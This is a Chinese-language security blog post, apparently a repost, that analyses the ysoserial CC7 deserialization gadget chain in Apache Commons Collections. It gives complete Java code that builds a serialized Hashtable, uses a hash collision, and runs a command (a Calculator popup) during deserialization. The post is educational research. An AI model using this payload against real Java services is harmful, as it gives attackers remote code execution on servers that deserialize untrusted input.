『代码审计』ysoserial CC7 利用链分析

admin 2024年7月19日09:30:41评论15 views字数 10728阅读35分45秒阅读模式
作者:ICDAT
介绍:这篇文章主要是对ysoserial中CC7反序列化利用链进行分析。

0x00 前言

上一篇文章本来是该分析CC7利用链的,但是因为遇到了Jdk7u21利用链的漏洞,就先进行了Jdk7u21利用链的分析。这一篇就补一下CC7利用链的分析。

0x01 利用链分析

我们查看一下ysoserial中的CC7利用链的链条。

    Payload method chain:
    java.util.Hashtable.readObject    java.util.Hashtable.reconstitutionPut    org.apache.commons.collections.map.AbstractMapDecorator.equals    java.util.AbstractMap.equals    org.apache.commons.collections.map.LazyMap.get    org.apache.commons.collections.functors.ChainedTransformer.transform    org.apache.commons.collections.functors.InvokerTransformer.transform    java.lang.reflect.Method.invoke    sun.reflect.DelegatingMethodAccessorImpl.invoke    sun.reflect.NativeMethodAccessorImpl.invoke    sun.reflect.NativeMethodAccessorImpl.invoke0    java.lang.Runtime.exec

只看链条,我们就会发现好多熟悉的内容,我们来对比一下CC6的利用链条。

  Gadget chain:        ObjectInputStream.readObject()            HashMap.readObject()                HashMap.hash()                    TiedMapEntry.hashcode()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

对比就会发现,最后都是通过调用LazyMap.get()方法来实现代码执行的。

但是触发LazyMap.get()的入口点变了,利用了Hashtable类,通过AbstractMap.equals()方法触发。

0x02 AbstractMap.equals

查看AbstractMap类,其被abstract修饰,是一个抽象类,实现了Map接口。

『代码审计』ysoserial CC7 利用链分析

查看AbstractMap.equals方法。

『代码审计』ysoserial CC7 利用链分析

方法中存在get方法的调用,分析一下调用的条件。

1、传入的o为Map类对象2Map对象的大小等于AbstractMap类entrySet().size()3、遍历Map对象的key和value,那么Map对象需要设置key和value4、当Map对象的value为空或不为空时,都会调用Map.get()方法。

这里补充一部分entrySet的知识。

entrySet 一般用于迭代的,将其中的数据取出

这里,如果我们传入一个LazyMap对象,可调用LazyMap.get()方法。

同时这里需要指出的一个点,AbstractMapHashMap的父类。

『代码审计』ysoserial CC7 利用链分析

0x03 AbstractMapDecorator.equals

前面我们要传入LazyMap类对象到equals方法中,equals方法为确定两个对象的引用是否相同的方法,得需要两个对象。这里使用两个LazyMap类对象进行比较。

LazyMap类无equals方法。

『代码审计』ysoserial CC7 利用链分析

AbstractMapDecorator类是LazyMap的父类,会调用AbstractMapDecorator.equals()方法。

『代码审计』ysoserial CC7 利用链分析

查看AbstractMapDecorator类,也是一个抽象类,实现了Map接口。

『代码审计』ysoserial CC7 利用链分析

equals方法,如果object不和其本身相同,就会调用equals方法。

『代码审计』ysoserial CC7 利用链分析

其实看到这里有个疑问,LazyMap1.equals(LazyMap2)->AbstractMapDecorator.equals(),这个逻辑不难理解。

比较难理解的是,从AbstractMapDecorator.equals()->AbstractMap.equals()怎么串联的呢?

这里其实是HashMap做的中间串联。在调用AbstractMapDecorator.equals()方法时,我们如果传入的mapHashMap,因为HashMapequals方法,那么会调用其父类AbstractMap.equals()方法。

即看似我们传入两个LazyMap进行比较,但是实际比较的是传入LazyMapHashMap

『代码审计』ysoserial CC7 利用链分析

我们可以编码尝试进行弹窗。

package CC7;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class lazymapGet {    public static void main(String[] args) {        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };        Transformer chain = new ChainedTransformer(transformers);        //new两个不同的HashMap对象,保证两个HashMap对象不同        Map map1 = new HashMap();        Map map2 = new HashMap();        //new 两个LazyMap对象        Map lazyMap1 = LazyMap.decorate(map1, chain);        Map lazyMap2 = LazyMap.decorate(map2, chain);        //Map对象需要设置value和key值        lazyMap1.put("1","2");        lazyMap2.put("3","4");
        lazyMap1.equals(lazyMap2);
    }}

成功弹窗。

『代码审计』ysoserial CC7 利用链分析

这里需要补充一个特别注意的点,我们需要new两个HashMap

如果我们new一个HashMap的话,不会弹窗成功。

『代码审计』ysoserial CC7 利用链分析

调试发现,其问题出现在,如果对LazyMap1LazyMap2传入同一个HashMap,对LazyMap1进行的添加操作,LazyMap2也会进行。

『代码审计』ysoserial CC7 利用链分析

就会导致在进行m.get(key)时,m是两个HashMap组成的Map,而传入的key13,但是在执行LazyMap.get()方法时,需要满足!super.map.containsKey(key)才能触发transform方法。

『代码审计』ysoserial CC7 利用链分析

所以我们需要new两个HashMap才能触发弹窗。

最后虽然代码弹窗了,但是无法在反序列化中调用。因为AbstractMapDecorator为抽象类,无法进行反序列化。

0x04 Hashtable.reconstitutionPut

使用到了Hashtable类,其继承了Dictionary类,实现了MapCloneable和    Serializable接口。

『代码审计』ysoserial CC7 利用链分析

终于到重点方法了,查看Hashtable.reconstitutionPut方法。

『代码审计』ysoserial CC7 利用链分析

发现其调用了equals方法,传入的值为key,那么根据上面的分析,如果key为我们构造的LazyMap对象,就可以执行LazyMap.get方法。

我们分析一下调用条件。

如果我们设置传入的key值为LazyMap类对象,那么tab中的值也为LazyMap类对象Entry类对象tab数组中的值,其hash和key.hashCode()相等。

reconstitutionPutreadObject方法调用。

『代码审计』ysoserial CC7 利用链分析

『代码审计』ysoserial CC7 利用链分析

通过查看代码的注释,发现其对Map.Entry[]类参数,把元素通过读取对象的形式进行还原,通过reconstitutionPut进行元素的对比。

显然这里是对Hashtable对象在反序列化过程中的处理,同时,为了触发比较,我们传入的Hashtable对象,至少应该包括2个key,而这里的key,显然应该是我们之前构造的LazyMap对象。

0x05 控制LazyMap对象的hashCode

同时为了触发reconstitutionPut方法的equal方法,我们需要保障传入的LazyMap的对象的hashCode值相同。

那么LazyMaphashcode值怎么计算呢?

LazyMap中不存在hashCode方法。

『代码审计』ysoserial CC7 利用链分析

其会调用父类AbstractMapDecorator类的hashCode方法。

『代码审计』ysoserial CC7 利用链分析

其调用的是maphashCode方法,而我们传入的mapHashMap对象,那么最终调用的是HashMaphashCode方法。

『代码审计』ysoserial CC7 利用链分析

发现其值为Objects.hashCode(key) ^ Objects.hashCode(value)

那么我们有两种方式来保障两个LazyMap类对象的hashCode值相等。

(1)LazyMap对象的keyvalue相同

我们依据此方式进行编码:

package CC7;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.util.*;
public class lazymapGet {    public static void main(String[] args) {        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };        Transformer chain = new ChainedTransformer(transformers);        //new两个不同的HashMap对象        Map map1 = new HashMap();        Map map2 = new HashMap();        //new 两个LazyMap对象,进行比较        Map lazyMap1 = LazyMap.decorate(map1, chain);        Map lazyMap2 = LazyMap.decorate(map2, chain);        //Map对象需要设置value和key值        lazyMap1.put("1","2");        lazyMap2.put("1","2");
        Hashtable hashtable = new Hashtable();        hashtable.put(lazyMap1,1);        hashtable.put(lazyMap2,1);
    }}

Hashtable进行添加操作时,会使用put方法。

『代码审计』ysoserial CC7 利用链分析

查看其put方法,发现其也存在key.equals(key)方法的调用。
而触发这个逻辑类似之前分析Jdk7u21的逻辑,当传入的Hashtable对象的key值的hash相同时,才会触发。

按照上述的逻辑,hashtable.put(lazyMap2,1)处应该就触发弹窗了。但实际上,无法触发弹窗。

通过对其put方法进行调试发现,它同样卡在了LazyMap.get后续触发tranform方法上,因为key相同,从而导致无法通过判断,触发transform方法。

『代码审计』ysoserial CC7 利用链分析

(2)Hash碰撞

同之前分析Jdk7u21一样,我们可以通过Hash碰撞的方式进行。
而因为需要保障key值不同,那么可以设置value的值相同。

因为分析过Jdk7u21,我们可以设置keyhashCode的值为00异或任意字符都是其本身,那么就可以实现两个LazyMaphashCode值相同。

比如我们可以设置两个key值为空和f5a5a608(空字符的hashCode0),修改代码,成功弹窗。

『代码审计』ysoserial CC7 利用链分析

0x06 LazyMap.remove

根据上面的分析,我们可以尝试编写payload了。

针对前面提到的hashtable.put()第二个LazyMap对象的问题,我们可以先设置一个空的Transformer的方式,在添加完第二个LazyMap对象后,通过反射修改iTransformers的值。

然后这里还有一个问题,在分析CC6利用链的时候,在put方法中通过LazyMap.get()触发transform方法后,会进行一次map.put(key,value)操作。

package CC7;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;
public class HashTableTest {    public static void main(String[] args) throws Exception {        Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };        Transformer chain = new ChainedTransformer(fakeformers);        //new两个不同的HashMap对象        Map map1 = new HashMap();        Map map2 = new HashMap();        //new 两个LazyMap对象,进行比较        Map lazyMap1 = LazyMap.decorate(map1, chain);        Map lazyMap2 = LazyMap.decorate(map2, chain);        //Map对象需要设置value和key值        lazyMap1.put("","1");        lazyMap2.put("f5a5a608","1");
        Hashtable hashtable = new Hashtable();        hashtable.put(lazyMap1,1);        hashtable.put(lazyMap2,1);
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(chain, transformers);
    }}

我们可以调试看一下,没进行添加执行时,LazyMap2size1

『代码审计』ysoserial CC7 利用链分析

添加后,LazyMap2size变为2,多了一个key值为""

『代码审计』ysoserial CC7 利用链分析

这里,我们删掉其多添加的key

最后编写代码如下:

package CC7;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;
public class HashTableTest {    public static void main(String[] args) throws Exception {        Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(1)};        Transformer[] transformers = new Transformer[]{                // 传入Runtime类                new ConstantTransformer(Runtime.class),                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                // 调用exec("calc")                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})        };        Transformer chain = new ChainedTransformer(fakeformers);        //new两个不同的HashMap对象        Map map1 = new HashMap();        Map map2 = new HashMap();        //new 两个LazyMap对象,进行比较        Map lazyMap1 = LazyMap.decorate(map1, chain);        Map lazyMap2 = LazyMap.decorate(map2, chain);        //Map对象需要设置value和key值        lazyMap1.put("","1");        lazyMap2.put("f5a5a608","1");
        Hashtable hashtable = new Hashtable();        hashtable.put(lazyMap1,1);        hashtable.put(lazyMap2,1);        lazyMap2.remove("");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(chain, transformers);
        serialize(hashtable);        deserialize();

    }    public static void serialize(Object obj){        try {            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));            os.writeObject(obj);            os.close();        } catch (IOException e) {            e.printStackTrace();        }    }    public static void deserialize(){        try {            ObjectInputStream is  = new ObjectInputStream(new FileInputStream("test.ser"));            Object test = is.readObject();            System.out.println(test);        }catch (Exception e){            e.printStackTrace();        }    }}

运行成功弹窗。

『代码审计』ysoserial CC7 利用链分析

0x07 结语

这次的分析一开始还是感觉有点绕的,但是在逐步分析清楚所属类、方法的关系后,不得不感叹利用逻辑之巧妙。

参考:

https://www.cnblogs.com/nice0e3/p/13910833.htmlhttps://www.anquanke.com/post/id/240040https://blog.csdn.net/qq_41323073/article/details/112981915

 

原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CC7 利用链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月19日09:30:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ysoserial CC7 利用链分析https://cn-sec.com/archives/1947518.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息